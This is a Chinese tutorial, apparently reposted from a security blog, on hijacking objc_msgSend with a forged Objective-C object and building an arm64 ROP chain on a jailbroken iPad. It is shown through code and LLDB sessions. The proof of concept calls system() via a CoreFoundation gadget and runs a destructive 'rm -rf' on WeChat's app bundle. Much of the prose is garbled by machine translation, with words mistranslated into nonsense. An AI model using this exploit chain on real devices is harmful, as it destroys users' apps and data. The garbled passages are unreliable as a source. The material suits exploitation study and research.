iOS冰与火之歌 – Objective-C Pwn and iOS arm64 ROP

原文地址:http : //drops.wooyun.org/papers/12355

0x00序


冰指的是用户态,火指的是内核态。如何突破像冰箱一样的用户态沙盒最终到达并控制如火焰一般燃烧的内核就是“iOS的冰与火之歌”这一系列文章将要讲述的内容目录如下:

  1. Objective-C Pwn和iOS arm64 ROP
  2. █████████████
  3. █████████████
  4. █████████████
  5. █████████████

另外文中涉及代码可在我的github下载:https:
//github.com/zhengmin1989/iOS_ICE_AND_FIRE

0x01什么是Objective-C


Objective-C的是扩充Ç的面向对象编程语言。语法和Ç非常像,但实现的机制却和Java的非常像。我们先来看一个简单的你好,世界程序了解一下。

#!objc
Talker.h:
#import 
@interface Talker : NSObject
- (void) say: (NSString*) phrase;
@end

Talker.m:
#import "Talker.h"
@implementation Talker
- (void) say: (NSString*) phrase {
  NSLog(@"%@n", phrase);
}
@end

hello.m:
int main(void) {    
  Talker *talker = [[Talker alloc] init];
  [talker say: @"Hello, Ice and Fire!"];
  [talker say: @"Hello, Ice and Fire!"];
  [talker release];
}

因为测试机是ipad mini 4,这里我们只编一个arm64版本的你好我们先做一下,然后我们用scp把你的传送到我们的ipad上面,然后尝试运行一下:

如果我们能够看到“你好,冰与火!”,那么我们的第一个Objective-C程序就完成了。

0x02 Objc_msg发送


我们接下来看一下用IDA对你好进行反汇编后的结果:

发现我们程序中充满了objc_msgSend()这个函数。这个函数可以说是目标C的灵魂函数。在目标C中,消息与方法的真正实现是在执行阶段绑定的,而非编译阶段。编译器会将发送消息转换成对objc_msgSend方法的调用。

objc_msgSend方法含两个必要参数:接收机,方法名(即:选择器)比如如:

[receiver message];将被转换为:objc_msgSend(receiver, selector);

另外每个对象都有一个指向所属类的指针ISA通过该指针,对象可以找到它所属的类,也就找到了其全部父类,如下图所示:

当向一个对象发送消息时,objc_msgSend方法根据对象的isa指针找到对象的类,然后在类的调度表(dispatch table)中查找选择器如果无法找到选择器,objc_msgSend通过指向父类的指针找到父类,并在父类的调度表(dispatch table)中查找选择器,以此类推直到NSObject类。一旦查找到选择器,objc_msgSend方法根据调度表的内存地址调用该实现。通过这种方式,消息与方法的真正实现在执行阶段才绑定。

为了保证消息发送与执行的效率,系统会将全部选择和使用过的方法的内存地址缓存起来。每个类都有一个独立的缓存,缓存包含有当前类自己的选择器以及继承自父类的选择查询调度表(dispatch table)前,消息发送系统首先检查接收者对象的缓存。缓存命中的情况下,消息发送(消息)比直接调用方法(函数调用)只慢一点点。

其实关于objc_msgSend这个函数,苹果已经提供了源码
(比如arm64版本:http : //www.opensource.apple.com/source/objc4/objc4-647/runtime/Messengers.subproj/objc-msg-arm64.s)

为了有更高的效率,objc_msgSend这个函数是用汇编实现的:

首先函数会检测传递进来的第一个对象是否为空,然后计算MASK随后就会进入缓存函数去寻找是否有选择对应的缓存。:

如果这个选择曾经被调用过,那么在缓存中就会保存这个选择对应的函数地址,如果这个函数再一次被调用,objc_msgSend()会直接跳转到缓存的函数地址。

但正因为这个机制,如果我们可以伪造一个接收器对象的话,我们就可以构造一个缓存的选择器的函数地址,随后objc_msgSend()就会跳转到我们伪造的缓存函数地址上,从而让我们可以控制PC指针。

0x03动态调试Objc_msg发送


在我们讲如何伪造objc对象控制电脑前,我们先分析一下运行时的Objc_msgSend()。函数这里我们用LLDB进行调试我们先在的iPad上用debugserver启动你好这个程序:

#!bash
Minde-iPad:/tmp root# debugserver *:1234 ./hello 
debugserver-@(#)PROGRAM:debugserver  PROJECT:debugserver-340.3.51.1
 for arm64.
Listening to port 1234 for a connection from *...
Got a connection, launched process ./hello (pid = 1546).

然后在自己的电脑上用LLDB进行远程连接:

#!bash
lldb
(lldb) process connect connect://localhost:5555
2016-01-17 14:58:39.540 lldb[59738:4122180] Metadata.framework [Error]: couldn't get the client port
Process 1546 stopped
* thread #1: tid = 0x2b92f, 0x0000000120041000 dyld`_dyld_start, stop reason = signal SIGSTOP
    frame #0: 0x0000000120041000 dyld`_dyld_start
dyld`_dyld_start:
->  0x120041000 <+0>:  mov    x28, sp
    0x120041004 <+4>:  and    sp, x28, #0xfffffffffffffff0
    0x120041008 <+8>:  movz   x0, #0
    0x12004100c <+12>: movz   x1, #0

接着我们可以在主函数那里设置一个断点:

#!bash
(lldb) break set --name main
Breakpoint 1: no locations (pending).
WARNING:  Unable to resolve breakpoint to any actual locations.
(lldb) c
Process 1546 resuming
1 location added to breakpoint 1
7 locations added to breakpoint 1
Process 1546 stopped
* thread #1: tid = 0x2b92f, 0x0000000100063e48 hello`main, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000100063e48 hello`main
hello`main:
->  0x100063e48 <+0>:  stp    x22, x21, [sp, #-48]!
    0x100063e4c <+4>:  stp    x20, x19, [sp, #16]
    0x100063e50 <+8>:  stp    x29, x30, [sp, #32]
    0x100063e54 <+12>: add    x29, sp, #32

我们用disas反编译一下主函数:

接下来我们在0x100063e94和0x100063ea4处下两个断点:

#!bash
(lldb) b *0x100063e94
Breakpoint 2: where = hello`main + 76, address = 0x0000000100063e94
(lldb) b *0x100063ea4
Breakpoint 3: where = hello`main + 92, address = 0x0000000100063ea4

随后我们继续运行程序,用然后po $x0x/s $x1可以看到接收机和选择的内容:

#!bash
(lldb) c
Process 1546 resuming
Process 1546 stopped
* thread #1: tid = 0x2b92f, 0x0000000100063e94 hello`main + 76, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
    frame #0: 0x0000000100063e94 hello`main + 76
hello`main:
->  0x100063e94 <+76>: bl     0x100063f18               ; symbol stub for: objc_msgSend
    0x100063e98 <+80>: mov    x0, x19
    0x100063e9c <+84>: mov    x1, x20
    0x100063ea0 <+88>: mov    x2, x21
(lldb) po $x0


(lldb) x/s $x1
0x100063f77: "say:"

这里可以看到接收器和选择分别为发话方和说,因此我们可以通过。po $x2来知道说这个方法的参数的内容,也就是“ Hello, Ice and Fire!”

#!bash
(lldb) po $x2
Hello, Ice and Fire!

随后我们用SI展示进入命令objc_msgSend()这个函数:

#!bash
* thread #1: tid = 0x2b92f, 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend, queue = 'com.apple.main-thread', stop reason = instruction step into
    frame #0: 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend
libobjc.A.dylib`objc_msgSend:
->  0x199c1dbc0 <+0>:  cmp    x0, #0
    0x199c1dbc4 <+4>:  b.le   0x199c1dc2c               ; <+108>
    0x199c1dbc8 <+8>:  ldr    x13, [x0]
    0x199c1dbcc <+12>: and    x9, x13, #0x1fffffff8

我们接着使用disas来看一下objc_msgSend的汇编代码:

#!bash
(lldb) disas
libobjc.A.dylib`objc_msgSend:
    0x199c1dbc0 <+0>:   cmp    x0, #0
->  0x199c1dbc4 <+4>:   b.le   0x199c1dc2c               ; <+108>
    0x199c1dbc8 <+8>:   ldr    x13, [x0]
    0x199c1dbcc <+12>:  and    x9, x13, #0x1fffffff8
    0x199c1dbd0 <+16>:  ldp    x10, x11, [x9, #16]
    0x199c1dbd4 <+20>:  and    w12, w1, w11
    0x199c1dbd8 <+24>:  add    x12, x10, x12, lsl #4
    0x199c1dbdc <+28>:  ldp    x16, x17, [x12]
    0x199c1dbe0 <+32>:  cmp    x16, x1
    0x199c1dbe4 <+36>:  b.ne   0x199c1dbec               ; <+44>
0x199c1dbe8 <+40>:  br     x17
    ……

可以看到objc_msgSend最开始做的事情就是从类的缓存中获取选择器和对应的地址(ldp x16, x17, [x12]),然后使用缓存的选择器和objc_msgSend()选择器进行比较(cmp x16, x1),如果匹配的话就跳转到缓存的选择器的地址上br x17)。但由于我们是第一次执行[talker say],缓存中并没有对应的函数地址,因此objc_msgSend()还要继续执行_objc_msgSend_uncached_impcache去类的方法列表里查找说这个函数的地址。

那么我们就继续执行程序,来看一下第二次调用说函数的话会怎么样。

#!bash
(lldb) disas
libobjc.A.dylib`objc_msgSend:
    0x199c1dbc0 <+0>:   cmp    x0, #0
    0x199c1dbc4 <+4>:   b.le   0x199c1dc2c               ; <+108>
    0x199c1dbc8 <+8>:   ldr    x13, [x0]
    0x199c1dbcc <+12>:  and    x9, x13, #0x1fffffff8
    0x199c1dbd0 <+16>:  ldp    x10, x11, [x9, #16]
->  0x199c1dbd4 <+20>:  and    w12, w1, w11

我们当继续执行程序展示进入objc_msgSend后,在执行完” ldp x10, x11, [x9, #16]“这条指令后,x10会指向保存了缓存数据的地址。用我们x/10gx $x10来查看一下这个地址的数据,看到可以init()状语从句:say()这两个函数都已经被缓存了:

#!bash
(lldb) x/10gx $x10

0x146502e10: 0x0000000000000000 0x0000000000000000
0x146502e20: 0x0000000000000000 0x0000000000000000
0x146502e30: 0x000000018b0f613e 0x0000000199c26a6c
0x146502e40: 0x0000000100053f37 0x0000000100053ea4
0x146502e50: 0x0000000000000004 0x000000019ccad6f8 

(lldb) x/s 0x000000018b0f613e
0x18b0f613e: "init"
(lldb) x/s 0x0000000100053f37
0x100053f37: "say:"

前一个数据是选择器的地址,后一个数据就是选择对应的函数地址,比如说()这个函数:

#!bash
(lldb) x/10i 0x0000000100053ea4
    0x100053ea4: 0xa9bf7bfd   stp    x29, x30, [sp, #-16]!
    0x100053ea8: 0x910003fd   mov    x29, sp
    0x100053eac: 0xd10043ff   sub    sp, sp, #16
    0x100053eb0: 0xf90003e2   str    x2, [sp]
    0x100053eb4: 0x10000fa0   adr    x0, #500                  ; @"%@n"
    0x100053eb8: 0xd503201f   nop    
    0x100053ebc: 0x94000004   bl     0x100053ecc               ; symbol stub for: NSLog
    0x100053ec0: 0x910003bf   mov    sp, x29
    0x100053ec4: 0xa8c17bfd   ldp    x29, x30, [sp], #16
    0x100053ec8: 0xd65f03c0   ret

0x04伪造ObjC对象控制PC


正如我之前提到的,如果我们可以伪造一个ObjC对象,然后构造一个假的高速缓存的话,我们就有机会控制电脑指针了。既然如此我们就来试一下吧。首先我们需要找到选择在内存中的地址,问题这个可以使用NSSelectorFromString()这个系统-自带的API来解决,比如我们想知道”放”这个选择的地址,可以就使用NSSelectorFromString(@"release")来电子杂志。

随后我们要构建一个假的receiver,的假receiver里有一个指向假的objc_class的指针,的假objc_class里汉语中类似的保存了假的cache_buckets的指针状语从句:mask。的假cache_buckets的指针名单最终指向我们将要伪造的selector状语从句:selector函数的地址:

#!objc
struct fake_receiver_t
{
    uint64_t fake_objc_class_ptr;
}fake_receiver;

struct fake_objc_class_t {
    char pad[0x10];
    void* cache_buckets_ptr;
    uint32_t cache_bucket_mask;
} fake_objc_class;

struct fake_cache_bucket_t {
    void* cached_sel;
    void* cached_function;
} fake_cache_bucket;

接下来我们在主函数中尝试将talker这个接收者改成我们伪造的接收者,然后利用伪造的“释放”选择器来控制PC指向0x41414141414141这个地址:

#!objc
int main(void) {

    Talker *talker = [[Talker alloc] init];
    [talker say: @"Hello, Ice and Fire!"];
    [talker say: @"Hello, Ice and Fire!"];
    [talker release];

    fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
    NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));

    fake_cache_bucket.cached_function = (void*)0x41414141414141;
    NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);

    fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;
    fake_objc_class.cache_bucket_mask=0;

    fake_receiver.fake_objc_class_ptr=&fake_objc_class;
    talker= &fake_receiver;

    [talker release];
}

OK,接下来我们把新编译的问候传到我们的的iPad上,然后用debugserver进行调试:

#!bash
Minde-iPad:/tmp root# debugserver *:1234 ./hello 
debugserver-@(#)PROGRAM:debugserver  PROJECT:debugserver-340.3.51.1
 for arm64.
Listening to port 1234 for a connection from *...
Got a connection, launched process ./hello (pid = 1891).

然后我们用LLDB进行连接,然后直接运行:

#!bash
MacBookPro:objpwn zhengmin$ lldb
(lldb) process connect connect://localhost:5555
2016-01-17 22:02:45.681 lldb[61258:4325925] Metadata.framework [Error]: couldn't get the client port
Process 1891 stopped
* thread #1: tid = 0x36eff, 0x0000000120029000 dyld`_dyld_start, stop reason = signal SIGSTOP
    frame #0: 0x0000000120029000 dyld`_dyld_start
dyld`_dyld_start:
->  0x120029000 <+0>:  mov    x28, sp
    0x120029004 <+4>:  and    sp, x28, #0xfffffffffffffff0
    0x120029008 <+8>:  movz   x0, #0
    0x12002900c <+12>: movz   x1, #0
(lldb) c
Process 1891 resuming
2016-01-17 22:02:48.575 hello[1891:225023] Hello, Ice and Fire!
2016-01-17 22:02:48.580 hello[1891:225023] Hello, Ice and Fire!
2016-01-17 22:02:48.581 hello[1891:225023] cached_sel = 0x18b0f7191
2016-01-17 22:02:48.581 hello[1891:225023] fake_cache_bucket.cached_function = 0x41414141414141
Process 1891 stopped
* thread #1: tid = 0x36eff, 0x0041414141414141, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=257, address=0x41414141414141)
    frame #0: 0x0041414141414141
error: memory read failed for 0x41414141414000

可以看到我们成功的控制了PC,让PC指向了0x41414141414141。

0x05 iOS上的arm64 ROP


虽然我们控制了PC,但在iOS的我们上并不能采用nmap()或者mprotect()将内存对划线可读柯林斯写可执行,如果我们想要让程序执行一些我们想要的指令的话必须要使用ROP。如果对于ROP不太了解的话,我推荐阅读一下我写的“一步一步学ROP”系列文章(http://drops.wooyun.org/papers/11390)

在各个系统中ROP的基本思路是一样的,这里我就简单介绍一下iOS版上ROP的思路。

首先要知道的是,在iOS上默认是开启ASLR + DEP + PIE的.ASLR和DEP很好理解,PIE的意思是程序图像本身在内存中的地址也是随机的。所以我们在iOS上使用ROP技术必须配合信息泄露的漏洞才行。虽然在iOS上写ROP非常困难,但有个好消息是虽然程序图像是随机的,但是每个进程都会加载的dyld_shared_cache这个共享缓存的地址在开机后是固定的,每个并且进程的dyld_shared_cache都是相同的。这个dyld_shared_cache有好几百中号大,基本上可以满足我们对小工具的需求。我们因此在只要自己的进程电子杂志dyld_shared_cache的基址就能够计算出目标进程的小工具的位置。

dyld_shared_cache文件一般保存在/System/Library/Caches/com.apple.dyld/这个目录下。我们下载下来以后就可以用ROPgadget这个工具来搜索gadget了。我们先实现一个简单的ROP,用system()函数执行“ touch /tmp/IceAndFire”因为我们x0是我们控制fake_receiver的地址,因此我们可以搜索利用x0来控制其他寄存器的小玩意比如下面这条:

#!bash
ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1

随后我们可以构造一个假的结构体,然后给对应的寄存器赋值:

#!objc
struct fake_receiver_t
{
    uint64_t fake_objc_class_ptr;
    uint8_t pad1[0x70-0x8];
    uint64_t x0;
    uint8_t pad2[0x98-0x70-0x8];
    uint64_t x1;
    char cmd[1024];
}fake_receiver;

fake_receiver.x0=(uint64_t)&fake_receiver.cmd;
fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system");
NSLog(@"system_address = %p", (void*)fake_receiver.x1);
strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire");

我们求最后将cached_function的值指向我们gagdet地址的控制就能执行程序system()指令了:

#!objc
uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);

//0x00000000000dcf7c  ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1
fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0x00000000000dcf7c;
NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);

编译完后,我们将你好这个程序传输到iOS版上测试一下:

发现/tmp目录下已经成功的创建³³了IceAndFire这个文件了。

有人觉得只是在tmp目录下触摸一个文件并不过瘾,那么我们就尝试一下删除其他应用吧。应用的运行文件都保存在“ /var/mobile/Containers/Bundle/Application/”目录下,比如微信的运行程序就在“ /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/WeChat.app/WeChat”下(注意ED6F728B- CC15-466B-942B-FBC4C534FF95这个值是在应用程序安装时随机分配的),于是我们将CMD指令换成:

#!objc
strcpy(fake_receiver.cmd, "rm -rf /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/");

然后再执行一下招呼这个程序。程序运行后我们会发现微信的应用程序图标还在,但当我们尝试打开微信的时候程序就会秒退。这是因为虽然应用程序被删了但跳板依然会有图标的缓存这时候我们只要重启一下跳板或者手机就可以清空对应的图标的缓存了这也就是为啥演示中的视频需要重启一下手机的原因。:

0x06总结


这些文章简单介绍了iOS上Objective-C的利用以及iOS上arm64 ROP,这些都是越狱需要掌握的最基本的知识。要注意的事,能做到执行系统指令是因为我们是在越狱环境下以根身份运行了我们的程序,在非越狱模式下的应用是没有权限执行这些系统指令的,想要做到这一点必须利用沙箱逃逸的漏洞才行,我们会在随后的文章中介绍这些过沙箱的技术,敬请期待。

另外,另外文中涉及代码可在我的github上下载:

https://github.com/zhengmin1989/iOS_ICE_AND_FIRE

0x07参考资料


  1. Objective-C的机制消息原理的http://dangpu.sinaapp.com/?p=119
  2. 滥用Objective C运行时http://phrack.org/issues/66/4.html

你可能感兴趣的:(iOS进阶)